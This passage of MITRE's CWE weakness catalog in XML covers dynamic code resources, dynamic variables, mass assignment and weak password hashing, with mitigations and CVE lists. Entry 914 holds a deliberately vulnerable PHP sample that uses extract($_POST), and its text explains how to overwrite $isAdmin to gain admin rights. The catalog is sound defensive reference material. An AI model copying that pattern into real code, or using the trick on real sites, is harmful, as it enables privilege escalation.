         <Description>The product contains functionality that is not documented, not part of the specification, and not accessible through an interface or command sequence that is obvious to the product's users or administrators.</Description>
         <Extended_Description>Hidden functionality can take many forms, such as intentionally malicious code, "Easter Eggs" that contain extraneous functionality such as games, developer-friendly shortcuts that reduce maintenance or support costs such as hard-coded accounts, etc. From a security perspective, even when the functionality is not intentionally malicious or damaging, it can increase the product's attack surface and expose additional weaknesses beyond what is already exposed by the intended functionality. Even if it is not easily accessible, the hidden functionality could be useful for attacks that modify the control flow of the application.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="684" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
		 <Applicable_Platforms>
		   <Technology Class="Not Technology-Specific" Prevalence="Undetermined"/>
		   <Technology Class="ICS/OT" Prevalence="Undetermined"/>
		 </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Scope>Integrity</Scope>
               <Impact>Varies by Context</Impact>
               <Impact>Alter Execution Logic</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Installation</Phase>
               <Description>Always verify the integrity of the product that is being installed.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Testing</Phase>
               <Description>Conduct a code coverage analysis using live testing, then closely inspect any code that is not covered.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="133"/>
            <Related_Attack_Pattern CAPEC_ID="190"/>
         </Related_Attack_Patterns>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2012-12-28</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-04-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms, Description, Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="913" Name="Improper Control of Dynamically-Managed Code Resources" Abstraction="Class" Structure="Simple" Status="Incomplete">
         <Description>The product does not properly restrict reading from or writing to dynamically-managed code resources such as variables, objects, classes, attributes, functions, or executable instructions or statements.</Description>
         <Extended_Description>Many languages offer powerful features that allow the programmer to dynamically create or modify existing code, or resources used by code such as variables and objects. While these features can offer significant flexibility and reduce development time, they can be extremely dangerous if attackers can directly influence these code resources in unexpected ways.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="664" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Impact>Execute Unauthorized Code or Commands</Impact>
            </Consequence>
            <Consequence>
               <Scope>Other</Scope>
               <Scope>Integrity</Scope>
               <Impact>Varies by Context</Impact>
               <Impact>Alter Execution Logic</Impact>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-13">
             <Method>Fuzzing</Method>
             <Description>Fuzz testing (fuzzing) is a powerful technique for generating large numbers of diverse inputs - either randomly or algorithmically - and dynamically invoking the code with those inputs. Even with random inputs, it is often capable of generating unexpected results such as crashes, memory corruption, or resource consumption. Fuzzing effectively produces repeatable test cases that clearly indicate bugs, which helps developers to diagnose the issues.</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>For any externally-influenced input, check the input against an allowlist of acceptable values.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Phase>Architecture and Design</Phase>
               <Strategy>Refactoring</Strategy>
               <Description>Refactor the code so that it does not need to be dynamically managed.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2013-01-26</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2015-12-07</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-01-19</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="914" Name="Improper Control of Dynamically-Identified Variables" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The product does not properly restrict reading from or writing to dynamically-identified variables.</Description>
         <Extended_Description>Many languages offer powerful features that allow the programmer to access arbitrary variables that are specified by an input string. While these features can offer significant flexibility and reduce development time, they can be extremely dangerous if attackers can modify unintended variables that have security implications.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="99" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="913" View_ID="1000"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Primary</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Impact>Modify Application Data</Impact>
               <Note>An attacker could modify sensitive data or program variables.</Note>
            </Consequence>
            <Consequence>
               <Scope>Integrity</Scope>
               <Impact>Execute Unauthorized Code or Commands</Impact>
            </Consequence>
            <Consequence>
               <Scope>Other</Scope>
               <Scope>Integrity</Scope>
               <Impact>Varies by Context</Impact>
               <Impact>Alter Execution Logic</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>For any externally-influenced input, check the input against an allowlist of internal program variables that are allowed to be modified.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Phase>Architecture and Design</Phase>
               <Strategy>Refactoring</Strategy>
               <Description>Refactor the code so that internal program variables do not need to be dynamically identified.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-107">
               <Intro_Text>This code uses the credentials sent in a POST request to login a user.</Intro_Text>
               <Example_Code Nature="Bad" Language="PHP">
                  <xhtml:div>
                     <xhtml:i>//Log user in, and set $isAdmin to true if user is an administrator</xhtml:i>
                     <xhtml:br/>
                     <xhtml:br/>function login($user,$pass){<xhtml:div style="margin-left:1em;">$query = buildQuery($user,$pass);<xhtml:br/>mysql_query($query);<xhtml:br/>if(getUserRole($user) == "Admin"){<xhtml:div style="margin-left:1em;">$isAdmin = true;</xhtml:div>}</xhtml:div>}<xhtml:br/>
                     <xhtml:br/>$isAdmin = false;<xhtml:br/>extract($_POST);<xhtml:br/>login(mysql_real_escape_string($user),mysql_real_escape_string($pass));</xhtml:div>
               </Example_Code>
               <Body_Text>The call to extract() will overwrite the existing values of any variables defined previously, in this case $isAdmin. An attacker can send a POST request with an unexpected third value "isAdmin" equal to "true", thus gaining Admin privileges.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2006-7135</Reference>
               <Description>extract issue enables file inclusion</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2006-7135</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2006-7079</Reference>
               <Description>extract used for register_globals compatibility layer, enables path traversal</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2006-7079</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2007-0649</Reference>
               <Description>extract() buried in include files makes post-disclosure analysis confusing; original report had seemed incorrect.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2007-0649</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2006-6661</Reference>
               <Description>extract() enables static code injection</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2006-6661</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2006-2828</Reference>
               <Description>import_request_variables() buried in include files makes post-disclosure analysis confusing</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2006-2828</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-0422</Reference>
               <Description>Chain: Dynamic variable evaluation allows resultant remote file inclusion and path traversal.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-0422</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2007-2431</Reference>
               <Description>Chain: dynamic variable evaluation in PHP program used to modify critical, unexpected $_SERVER variable for resultant XSS.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2007-2431</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2006-4904</Reference>
               <Description>Chain: dynamic variable evaluation in PHP program used to conduct remote file inclusion.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2006-4904</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2006-4019</Reference>
               <Description>Dynamic variable evaluation in mail program allows reading and modifying attachments and preferences of other users.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2006-4019</Link>
            </Observed_Example>
         </Observed_Examples>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2013-01-26</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-01-19</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="915" Name="Improperly Controlled Modification of Dynamically-Determined Object Attributes" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The product receives input from an upstream component that specifies multiple attributes, properties, or fields that are to be initialized or updated in an object, but it does not properly control which attributes can be modified.</Description>
         <Extended_Description>
            <xhtml:p>If the object contains attributes that were only intended for internal use, then their unexpected modification could lead to a vulnerability.</xhtml:p>
            <xhtml:p>This weakness is sometimes known by the language-specific mechanisms that make it possible, such as mass assignment, autobinding, or object injection.</xhtml:p>
         </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="913" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="PeerOf" CWE_ID="502" View_ID="1000"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Primary</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Name="Ruby" Prevalence="Undetermined"/>
            <Language Name="ASP.NET" Prevalence="Undetermined"/>
            <Language Name="PHP" Prevalence="Undetermined"/>
            <Language Name="Python" Prevalence="Undetermined"/>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Alternate_Terms>
            <Alternate_Term>
               <Term>Mass Assignment</Term>
               <Description>"Mass assignment" is the name of a feature in Ruby on Rails that allows simultaneous modification of multiple object attributes.</Description>
            </Alternate_Term>
            <Alternate_Term>
               <Term>AutoBinding</Term>
               <Description>The "Autobinding" term is used in frameworks such as Spring MVC and ASP.NET MVC.</Description>
            </Alternate_Term>
            <Alternate_Term>
               <Term>PHP Object Injection</Term>
               <Description>Some PHP application researchers use this term for attacking unsafe use of the unserialize() function, but it is also used for CWE-502.</Description>
            </Alternate_Term>
         </Alternate_Terms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Impact>Modify Application Data</Impact>
               <Note>An attacker could modify sensitive data or program variables.</Note>
            </Consequence>
            <Consequence>
               <Scope>Integrity</Scope>
               <Impact>Execute Unauthorized Code or Commands</Impact>
            </Consequence>
            <Consequence>
               <Scope>Other</Scope>
               <Scope>Integrity</Scope>
               <Impact>Varies by Context</Impact>
               <Impact>Alter Execution Logic</Impact>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>
                  <xhtml:p>If available, use features of the language or framework that allow specification of allowlists of attributes or fields that are allowed to be modified. If possible, prefer allowlists over denylists.</xhtml:p>
                  <xhtml:p>For applications written with Ruby on Rails, use the attr_accessible (allowlist) or attr_protected (denylist) macros in each class that may be used in mass assignment.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Phase>Implementation</Phase>
               <Description>If available, use the signing/sealing features of the programming language to assure that deserialized data has not been tainted. For example, a hash-based message authentication code (HMAC) could be used to ensure that data has not been modified.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>For any externally-influenced input, check the input against an allowlist of internal object attributes or fields that are allowed to be modified.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Phase>Architecture and Design</Phase>
               <Strategy>Refactoring</Strategy>
               <Description>Refactor the code so that object attributes or fields do not need to be dynamically identified, and only expose getter/setter functionality for the intended attributes.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2012-2054</Reference>
               <Description>Mass assignment allows modification of arbitrary attributes using modified URL.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2012-2054</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2012-2055</Reference>
               <Description>Source version control product allows modification of trusted key using mass assignment.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2012-2055</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-7310</Reference>
               <Description>Attackers can bypass payment step in e-commerce product.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-7310</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2013-1465</Reference>
               <Description>Use of PHP unserialize function on untrusted input allows attacker to modify application configuration.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2013-1465</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2012-3527</Reference>
               <Description>Use of PHP unserialize function on untrusted input in content management system might allow code execution.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2012-3527</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2012-0911</Reference>
               <Description>Use of PHP unserialize function on untrusted input in content management system allows code execution using a crafted cookie value.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2012-0911</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2012-0911</Reference>
               <Description>Content management system written in PHP allows unserialize of arbitrary objects, possibly allowing code execution.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2012-0911</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2011-4962</Reference>
               <Description>Content management system written in PHP allows code execution through page comments.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2011-4962</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-4137</Reference>
               <Description>Use of PHP unserialize function on cookie value allows remote code execution or upload of arbitrary files.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-4137</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2007-5741</Reference>
               <Description>Content management system written in Python interprets untrusted data as pickles, allowing code execution.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2007-5741</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2011-2520</Reference>
               <Description>Python script allows local users to execute code via pickled data.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2011-2520</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-2875</Reference>
               <Description>Python script allows remote attackers to execute arbitrary code using pickled objects.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-2875</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2013-0277</Reference>
               <Description>Ruby on Rails allows deserialization of untrusted YAML to execute arbitrary code.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2013-0277</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2011-2894</Reference>
               <Description>Spring framework allows deserialization of objects from untrusted sources to execute arbitrary code.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2011-2894</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2012-1833</Reference>
               <Description>Grails allows binding of arbitrary parameters to modify arbitrary object properties.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2012-1833</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2010-3258</Reference>
               <Description>Incorrect deserialization in web browser allows escaping the sandbox.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2010-3258</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-1013</Reference>
               <Description>Media library allows deserialization of objects by untrusted Java applets, leading to arbitrary code execution.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-1013</Link>
            </Observed_Example>
         </Observed_Examples>
         <References>
            <Reference External_Reference_ID="REF-885"/>
            <Reference External_Reference_ID="REF-886"/>
            <Reference External_Reference_ID="REF-887"/>
            <Reference External_Reference_ID="REF-888"/>
            <Reference External_Reference_ID="REF-889"/>
            <Reference External_Reference_ID="REF-890"/>
            <Reference External_Reference_ID="REF-891"/>
            <Reference External_Reference_ID="REF-892"/>
            <Reference External_Reference_ID="REF-893"/>
            <Reference External_Reference_ID="REF-894"/>
            <Reference External_Reference_ID="REF-464"/>
            <Reference External_Reference_ID="REF-466"/>
         </References>
         <Notes>
            <Note Type="Maintenance">The relationships between CWE-502 and CWE-915 need further exploration. CWE-915 is more narrowly scoped to object modification, and is not necessarily used for deserialization.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2013-01-26</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-07-17</Modification_Date>
               <Modification_Comment>updated References</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-05-03</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated References</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Alternate_Terms, Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-12-10</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description, Observed_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, References, Relationships</Modification_Comment>
				</Modification>
            <Contribution Type="Feedback">
               <Contribution_Name>Dan Amodio, Dave Wichers</Contribution_Name>
               <Contribution_Organization>Aspect Security</Contribution_Organization>
               <Contribution_Date>2013-01-26</Contribution_Date>
               <Contribution_Comment>Suggested adding mass assignment, provided references, and clarified relationship with AutoBinding.</Contribution_Comment>
            </Contribution>
         </Content_History>
      </Weakness>
      <Weakness ID="916" Name="Use of Password Hash With Insufficient Computational Effort" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The product generates a hash for a password, but it uses a scheme that does not provide a sufficient level of computational effort that would make password cracking attacks infeasible or expensive.</Description>
         <Extended_Description>
            <xhtml:p>Many password storage mechanisms compute a hash and store the hash, instead of storing the original password in plaintext. In this design, authentication involves accepting an incoming password, computing its hash, and comparing it to the stored hash.</xhtml:p>
            <xhtml:p>Many hash algorithms are designed to execute quickly with minimal overhead, even cryptographic hashes. However, this efficiency is a problem for password storage, because it can reduce an attacker's workload for brute-force password cracking. If an attacker can obtain the hashes through some other method (such as SQL injection on a database that stores hashes), then the attacker can store the hashes offline and use various techniques to crack the passwords by computing hashes efficiently. Without a built-in workload, modern attacks can compute large numbers of hashes, or even exhaust the entire space of all possible passwords, within a very short amount of time, using massively-parallel computing (such as cloud computing) and GPU, ASIC, or FPGA hardware. In such a scenario, an efficient hash algorithm helps the attacker.</xhtml:p>
            <xhtml:p>There are several properties of a hash scheme that are relevant to its strength against an offline, massively-parallel attack:</xhtml:p>
               <xhtml:ul>
                  <xhtml:li>The amount of CPU time required to compute the hash ("stretching")</xhtml:li>
                  <xhtml:li>The amount of memory required to compute the hash ("memory-hard" operations)</xhtml:li>
                  <xhtml:li>Including a random value, along with the password, as input to the hash computation ("salting")</xhtml:li>
                  <xhtml:li>Given a hash, there is no known way of determining an input (e.g., a password) that produces this hash value, other than by guessing possible inputs ("one-way" hashing)</xhtml:li>
                  <xhtml:li>Relative to the number of all possible hashes that can be generated by the scheme, there is a low likelihood of producing the same hash for multiple different inputs ("collision resistance")</xhtml:li>
               </xhtml:ul>
            <xhtml:p>Note that the security requirements for the product may vary depending on the environment and the value of the passwords. Different schemes might not provide all of these properties, yet may still provide sufficient security for the environment. Conversely, a solution might be very strong in preserving one property, which still being very weak for an attack against another property, or it might not be able to significantly reduce the efficiency of a massively-parallel attack.</xhtml:p>
         </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="327" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="327" View_ID="1003" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Primary</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
               <Note>REALIZATION: This weakness is caused during implementation of an architectural security tactic.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Access Control</Scope>
               <Impact>Bypass Protection Mechanism</Impact>
               <Impact>Gain Privileges or Assume Identity</Impact>
               <Note>If an attacker can gain access to the hashes, then the lack of sufficient computational effort will make it easier to conduct brute force attacks using techniques such as rainbow tables, or specialized hardware such as GPUs, which can be much faster than general-purpose CPUs for computing hashes.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
            <Detection_Method>
               <Method>Automated Static Analysis - Binary or Bytecode</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Bytecode Weakness Analysis - including disassembler + source code weakness analysis</xhtml:li>
                           <xhtml:li>Binary Weakness Analysis - including disassembler + source code weakness analysis</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>SOAR Partial</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Manual Static Analysis - Binary or Bytecode</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
